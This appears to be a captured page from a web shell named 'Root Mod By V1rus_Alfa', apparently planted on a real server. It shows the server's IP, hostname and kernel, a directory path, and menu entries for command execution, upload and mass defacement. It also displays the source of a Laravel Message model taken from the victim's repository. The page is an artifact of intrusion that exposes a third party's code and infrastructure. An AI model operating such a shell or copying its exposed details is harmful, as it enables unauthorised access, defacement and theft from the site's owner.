���Root Mod By V1rus_Alfa
User / IP
:
216.73.217.78
Host / Server
:
195.214.235.115 / npln.ir
System
:
Linux damavand.pws-dns.net 5.14.0-503.35.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Apr 4 05:23:43 EDT 2025 x86_64
Command
|
Upload
|
Mass Deface
|
Create
:
/
home2
/
cutunixc
/
repositories
/
portal-cutunix
/
app
/
Models
/
Viewing: Message.php
<?php namespace App\Models; use Illuminate\Database\Eloquent\Model; use Illuminate\Database\Eloquent\Relations\BelongsTo; use Illuminate\Database\Eloquent\Relations\MorphTo; use Illuminate\Support\Facades\Storage; use Modules\File\Models\File; class Message extends Model { protected $fillable = [ 'conversation_id', 'sender_type', 'sender_id', 'content', 'type', 'file_id', 'is_read', 'read_at', ]; protected $casts = [ 'is_read' => 'boolean', 'read_at' => 'datetime', 'created_at' => 'datetime', 'updated_at' => 'datetime', ]; public const TYPE_TEXT = 'text'; public const TYPE_FILE = 'file'; public function conversation(): BelongsTo { return $this->belongsTo(Conversation::class); } public function sender(): MorphTo { return $this->morphTo(); } public function file(): BelongsTo { return $this->belongsTo(File::class); } public function markAsRead(): void { if (!$this->is_read) { $this->update([ 'is_read' => true, 'read_at' => now(), ]); } } public function getFileUrl(): ?string { if (!$this->file_path) { return null; } return Storage::url($this->file_path); } public function getFileSizeFormatted(): ?string { if (!$this->file_size) { return null; } $bytes = (int)$this->file_size; $units = ['B', 'KB', 'MB', 'GB', 'TB']; $index = 0; while ($bytes >= 1024 && $index < count($units) - 1) { $bytes /= 1024; $index++; } return round($bytes, 2) . ' ' . $units[$index]; } public function isImage(): bool { return $this->message_type === 'image'; } public function isVideo(): bool { return $this->message_type === 'video'; } public function isAudio(): bool { return $this->message_type === 'audio'; } public function isDocument(): bool { return $this->message_type === 'document'; } public function isArchive(): bool { return $this->message_type === 'archive'; } public function didCustomerSentIt() { return auth('web')->check() && $this->sender_id === auth('web')->id() && $this->sender_type === auth('web')->user()::class; } public function didTenantSentIt() { return auth('tenant')->check() && $this->sender_id === auth('tenant')->id() && $this->sender_type === auth('tenant')->user()::class; } public function didAdminSentIt() { return auth('tenant')->check() && $this->sender_id === auth('admin')->id() && $this->sender_type === auth('admin')->user()::class; } }
Coded With 💗 by
0x6ick Mod By V1rus_Alfa